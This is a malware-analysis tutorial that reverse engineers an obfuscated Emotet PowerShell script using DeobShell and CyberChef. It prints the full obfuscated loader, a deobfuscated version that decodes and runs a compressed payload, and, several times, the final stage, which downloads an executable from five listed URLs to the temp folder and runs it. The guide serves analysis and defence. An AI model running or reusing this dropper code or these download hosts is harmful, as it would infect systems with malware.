Reverse Engineering Emotet's Obfuscated PowerShell Payloads
Emotet is a banking Trojan that's evolved into a modular botnet. One of its practices involves usage in PowerShell scripts that are manipulated to deliver malicious payloads. This guide walks through the process of understanding such a script, utilizing tools like DeobShell and CyberChef.
Table of Contents
- Introduction
- Understanding the Script
- Reverse Engineering Process
- Technical Analysis of the Final Payload
- Tools and Resources
Introduction
Emotet has been a persistent threat in the cybersecurity landscape, known for its ability to deliver additional malware payloads, including banking Trojans and ransomware. Its primary method of payload delivery involves obfuscated PowerShell scripts that encode and compress malicious commands, designed to evade detection by traditional security measures.
In this guide, we'll dissect a sample Emotet PowerShell script, demonstrating how to deobfuscate, decode, and decompress the payload to unmask it's properties.
Understanding the Obfuscated PowerShell Script
Here's the PowerShell script we'll analyze:
${pC695I} = [tYpE]( "{2}{1}{0}{3}"-f'NM','O','eNvIR','ent' );
SeT RxY= &( ([STRINg]$vERBOSEprEFERENce)[1,3]+'x'-JOIn'')((("{67}{22}{118}{0}{63}{98}{71}{46}{6}{36}{64}{113}{79}{49}{106}{1}{11}{99}{19}{57}{80}{88}{45}{60}{70}{30}{53}{102}{83}{89}{42}{17}{92}{32}{50}{68}{84}{55}{25}{39}{28}{76}{44}{12}{66}{43}{65}{13}{14}{87}{86}{61}{23}{40}{78}{111}{115}{94}{62}{34}{91}{104}{51}{16}{24}{58}{15}{56}{75}{93}{69}{105}{107}{73}{37}{82}{7}{108}{81}{38}{74}{90}{35}{85}{29}{2}{72}{18}{97}{5}{103}{26}{96}{77}{8}{114}{112}{31}{47}{110}{41}{48}{117}{10}{100}{116}{20}{54}{3}{101}{109}{33}{59}{4}{27}{9}{52}{21}{95}" -f 'sY','SsIOn','aQMT4A','odINg]::','h','0ra',' (ne','RM','nolUW','[21]+LHh','d','.D','BPd','JC','PGLFK','J8hl7gw','rp7','BJNZBRa8Iw','YOL','Fla','oMpreSS))','[34]','obj','twcfc2','m','x2JT','jq9CQufcObfgkG5UpR','Pshome','M2TVuL+','EzgDpr/','StrE',' , [io.CoMprESsIoN.compRe','8CUZzp','DtoEND( )DQ9','I0u','Y4pM+O4jUNXCQpqN8A','W-ob','GMd7iS','QSWEHeImHFH','Z','mz','n','SE64sTRInG(h','Zh1','uA19','m','(','ss','m','COMp','sD','F','PShOMe','AM] [CONvErt]::',' ,[TExT.enC','p4','sC4i','tES','qy','. ( LH','E','fv','cfy35Cis','STeM.IO.stReAMR','jecT','dmB','bxC','(neW-','i','2e','MorY','R','O1D5gjl3N','mWkR','3FR8d3s','lQb','N9Xy/p6z+HAd1E','20','hukwo','o.','tR','S','bxPtJ','rO','doeA2HbiissnoBnt','8e3fgI','R','As','eam( [io.','MBa','Deb','DdcpFI','FEb/Sh','Sd2HY1k0/LH','66mRy','+hBJXhBJ)','MYb9pod6Fx','9Y0F9R+hax','EADE','E','E]','ascii)','f','SO','R','irY2ZYmgabDa','Re','j353j6dPoMeF5','+w+',').REA','iO','mN8Tpkli3L','c=hBJ)',' i','W8cv1+g','qq3ZwH','::DeC','O','ecT ')).rEPlAce(([CHAR]68+[CHAR]81+[CHAR]57),[StRINg][CHAR]124).rEPlAce('hBJ',[StRINg][CHAR]39).rEPlAce('LHh','$'))&& poWErShElL ${pC695I} =[tYpE]( "{2}{1}{0}{3}" -f 'NM','O','eNvIR','ent' );
${eXEcUTIoNcONTExt}."INvoKEcomMAnd".( "{3}{2}{1}{0}"-f 't','IP','cR','invOKES' ).Invoke( ( ( &( "{1}{0}{2}" -f 'R','va','IAble' ) ( "{0}{1}" -f 'pc695','I' ) -vALUEonly )::( "{4}{2}{3}{1}{0}" -f 'IablE','aR','v','IrONMeNTv','gEtEn' ).Invoke( 'RXy',( "{0}{1}" -f 'prOcES','s' ) ) ) )
At first glance, this script is deliberately obfuscated to conceal its operations. Through a series of steps, including deobfuscation, decoding, and decompression, we can better understand its functionality.
Reverse Engineering Process
To effectively analyze this script, we'll follow this approach:
- Deobfuscate the Script
- Extract the Base64 String
- Decode the Base64 String
- Decompress the Payload
- Analyze the Decompressed Script
Step 1: Deobfuscating the PowerShell Script
Objective: Simplify the obfuscated script to make its operations transparent.
Approach:
- Identify Patterns and Common Techniques: In this example, Emotet is employing randomized variables, abstract syntax tree manipulation, and dynamic method invocations.
- Use Deobfuscation Tools: Utilize tools like DeobShell to parse and simplify the script.
Implementation:
1. Variable Renaming
Replace nonsensical variable names with meaningful ones.
# Original
${pC695I} = [tYpE]( "{2}{1}{0}{3}"-f'NM','O','eNvIR','ent' );
# Simplified
$EnvironmentType = [Type]("eNvIR" + "O" + "NM" + "ent"); # Resolves to 'Environment'
2. Dynamic Method Invocation
Understand how methods are being dynamically constructed and invoked.
# Original
([STRINg]$vERBOSEprEFERENce)[1,3]+'x'-JOIn''
# Simplified
($VerbosePreference)[1,3] + 'x' -Join'' # Extracts characters at indices 1 and 3 and concatenates with 'x'
# Assuming $VerbosePreference = "SilentlyContinue", indices 1 and 3 correspond to 'i' and 'e', resulting in 'iex'
3. Parsing the AST with DeobShell
DeobShell leverages the .NET Framework's Abstract Syntax Tree (AST) to parse and deobfuscate PowerShell scripts. The AST provides a hierarchical tree representation of the script's syntax, allowing tools like DeobShell to analyze and transform obfuscated code systematically.
By parsing the AST with DeobShell can identify patterns such as the ones just discussed. It then refactors the script's variables, simplifies expressions, and reconstructs dynamically built method names.
In our example, DeobShell parses the AST to:
- Identify and rename variables like
${pC695I}
to$EnvironmentType
. - Simplify string concatenations and formatting to reveal method names like
Invoke-Expression
(iex
). - Extract and reconstruct encoded or compressed payloads embedded within the script.
4. Final Deobfuscated Script
$EnvironmentType = [Type]("eNvIR" + "O" + "NM" + "ent"); # 'Environment'
$InvokeExpression = 'iex'; # Result from dynamic string construction
$Base64String = "NZBRa8IwFEb/Sh8CUZzpsDidoeA2HbiissnoBntp4x2JTZM2TVuL+N9Xy/p6z+HAd1EuA19BPdbxCZh1dmBJCPGLFKAsRfvtwcfc2mzhukwomN8Tpkli3Lqq3ZwH66mRycfy35CisI0uDdcpFIRFrp7mqyJ8hl7gwsC4ilQbSd2HY1k0/LH2eirY2ZYmgabDaj353j6dPoMeF5mWkRGMd7iSbxPtJRM+w+SQSWEHeImHFH3FR8d3sDebY4pM+O4jUNXCQpqN8A8e3fgIEzgDpr/aQMT4AO1D5gjl3NYOL9Y0F9R+hax0raSOjq9CQufcObfgkG5UpRMYb9pod6Fx20nolUWW8cv1+gc=";
$DecompressedData = [Text.Encoding]::ASCII.GetString([Compression.DeflateStream]::Decompress([MemoryStream]::new([Convert]::FromBase64String($Base64String))));
Invoke-Expression($DecompressedData);
Step 2: Extracting and Decoding the Base64 String
Objective: Isolate the Base64-encoded string embedded within the script for decoding.
Approach:
- Identify the Encoding Method: Emotet commonly uses Base64 encoding to embed payloads.
- Extract the String: Use pattern matching or manual extraction.
Implementation:
From the deobfuscated script:
$Base64String = "NZBRa8IwFEb/Sh8CUZzpsDidoeA2HbiissnoBntp4x2JTZM2TVuL+N9Xy/p6z+HAd1EuA19BPdbxCZh1dmBJCPGLFKAsRfvtwcfc2mzhukwomN8Tpkli3Lqq3ZwH66mRycfy35CisI0uDdcpFIRFrp7mqyJ8hl7gwsC4ilQbSd2HY1k0/LH2eirY2ZYmgabDaj353j6dPoMeF5mWkRGMd7iSbxPtJRM+w+SQSWEHeImHFH3FR8d3sDebY4pM+O4jUNXCQpqN8A8e3fgIEzgDpr/aQMT4AO1D5gjl3NYOL9Y0F9R+hax0raSOjq9CQufcObfgkG5UpRMYb9pod6Fx20nolUWW8cv1+gc=";
Outcome:
The Base64 string is now isolated and ready for decoding.
Convert the Base64 string into a byte array for further processing.
Approach:
- Use Decoding Tools: PowerShell, Python, or CyberChef can decode Base64 strings.
- Ensure Integrity: Verify that the decoded data matches expectations (e.g., correct byte length).
Step 3: Decompressing the Payload
Objective: Uncompress the decoded byte array to reveal the underlying PowerShell script.
Approach:
- Identify Compression Method: Emotet typically uses the Deflate algorithm.
- Use Appropriate Tools: CyberChef allows specifying raw Inflate (Deflate without headers), which is essential when headers are absent.
Implementation:
Using CyberChef:
- Input: Paste the decoded byte array.
- Operation: Apply
Deflate Inflate (Raw)
. - Output: Obtain the readable PowerShell script.
Result:
$qlK = New-Object Net.WebClient;
$OMS = 'http://cine80.co.kr/wvw/qhKE5rlkR@http://listyourhomes.ca/o5qDsWBe@http://hire-van.com/6dusyh9w3@http://icxturkey.com/nE2YMAjUK@http://spolarich.com/vlJ2o3k2h7'.Split('@');
$Xbd = '378';
$rWQ = "$env:temp\$Xbd.exe";
foreach ($OWc in $OMS) {
try {
$qlK.DownloadFile($OWc, $rWQ);
Invoke-Item $rWQ;
break;
} catch {}
}
Explanation:
The decompressed script is now readable and outlines its malicious intent.
Step 4: Analyzing the Decompressed Script
Objective: Understand the functionality and malicious operations of the decompressed script.
Decompressed Script:
$qlK = New-Object Net.WebClient;
$OMS = 'http://cine80.co.kr/wvw/qhKE5rlkR@http://listyourhomes.ca/o5qDsWBe@http://hire-van.com/6dusyh9w3@http://icxturkey.com/nE2YMAjUK@http://spolarich.com/vlJ2o3k2h7'.Split('@');
$Xbd = '378';
$rWQ = "$env:temp\$Xbd.exe";
foreach ($OWc in $OMS) {
try {
$qlK.DownloadFile($OWc, $rWQ);
Invoke-Item $rWQ;
break;
} catch {}
}
Detailed Breakdown:
- WebClient Object Creation:
$qlK = New-Object Net.WebClient;
Purpose: Initializes a new
WebClient
object to handle HTTP requests, specifically for downloading files. - URL List Initialization:
$OMS = 'http://cine80.co.kr/wvw/qhKE5rlkR@http://listyourhomes.ca/o5qDsWBe@http://hire-van.com/6dusyh9w3@http://icxturkey.com/nE2YMAjUK@http://spolarich.com/vlJ2o3k2h7'.Split('@');
Purpose: Defines a list of URLs separated by
@
and splits them into an array$OMS
. These URLs are potential sources for downloading additional malicious payloads. - Executable Naming and Path Construction:
$Xbd = '378'; $rWQ = "$env:temp\$Xbd.exe";
Purpose: Constructs the path for the downloaded executable. The executable is named
378.exe
and is placed in the system's temporary directory. - Download and Execution Loop:
foreach ($OWc in $OMS) { try { $qlK.DownloadFile($OWc, $rWQ); Invoke-Item $rWQ; break; } catch {} }
Purpose:
- Download Attempt: Iterates through each URL in
$OMS
and attempts to download the executable to$rWQ
. - Execution: If the download is successful, executes the downloaded file using
Invoke-Item
. - Break on Success: Upon successful download and execution, breaks out of the loop to prevent further attempts.
- Silent Failure Handling: Any errors during download or execution are caught and ignored, ensuring the script doesn't raise alarms or halt execution.
- Download Attempt: Iterates through each URL in
Implications:
- Malicious Intent: The script is designed to download and execute a potentially malicious executable from a list of predefined URLs.
- Redundancy and Resilience: Multiple URLs are provided to increase the likelihood of successful download, even if some URLs are blocked or non-responsive.
- Evasion Techniques: By placing the executable in the temporary directory and using non-descriptive naming (
378.exe
), the script aims to reduce the chances of detection.
Technical Analysis of the Final Payload
Objective: Understand the functionality and intent of the final payload.
Decompressed Script:
$qlK = New-Object Net.WebClient;
$OMS = 'http://cine80.co.kr/wvw/qhKE5rlkR@http://listyourhomes.ca/o5qDsWBe@http://hire-van.com/6dusyh9w3@http://icxturkey.com/nE2YMAjUK@http://spolarich.com/vlJ2o3k2h7'.Split('@');
$Xbd = '378';
$rWQ = "$env:temp\$Xbd.exe";
foreach ($OWc in $OMS) {
try {
$qlK.DownloadFile($OWc, $rWQ);
Invoke-Item $rWQ;
break;
} catch {}
}
Detailed Breakdown:
- WebClient Object (`$qlK`):
Utilized for HTTP operations, specifically downloading files from the internet.
- URL List (`$OMS`):
Contains multiple URLs separated by
@
. These URLs are likely C2 (Command and Control) servers hosting additional malware payloads. - Executable Naming (`$Xbd` and `$rWQ`):
$Xbd = '378'; $rWQ = "$env:temp\$Xbd.exe";
Purpose: Constructs the path for the downloaded executable. The executable is named
378.exe
and is placed in the system's temporary directory. - Download and Execution Loop:
foreach ($OWc in $OMS) { try { $qlK.DownloadFile($OWc, $rWQ); Invoke-Item $rWQ; break; } catch {} }
Purpose:
- Download Attempt: Iterates through each URL in
$OMS
and attempts to download the executable to$rWQ
. - Execution: If the download is successful, executes the downloaded file using
Invoke-Item
. - Break on Success: Upon successful download and execution, breaks out of the loop to prevent further attempts.
- Silent Failure Handling: Any errors during download or execution are caught and ignored, ensuring the script doesn't raise alarms or halt execution.
- Download Attempt: Iterates through each URL in
Implications:
- System Compromise: Execution of the downloaded executable (
378.exe
) could lead to various malicious outcomes, including data theft, ransomware deployment, or further malware propagation. - Persistence Mechanisms: While not evident in this script, downloaded executables often establish persistence to maintain access.
- Evasion of Security Measures: By using the temporary directory and generic naming, the malware aims to bypass user scrutiny and automated security scans.
Tools and Resources
To effectively reverse engineer and analyze such obfuscated scripts, the following tools and resources are invaluable:
-
DeobShell: A tool designed to simplify and deobfuscate PowerShell scripts by parsing the .NET Framework's Abstract Syntax Tree (AST).
Usage: DeobShell parses the AST to identify and refactor obfuscated elements, such as variable renaming and string manipulations, transforming the script into a more readable format.
-
CyberChef: A powerful web-based tool for encoding, decoding, and analyzing data.
Usage: Ideal for Base64 decoding, Deflate decompression, and experimenting with various data transformations.
-
PowerShell ISE or VSCode with PowerShell Extensions: Integrated Development Environments (IDEs) for scripting and debugging PowerShell scripts.
Usage: Facilitates step-by-step execution and inspection of scripts without running malicious code.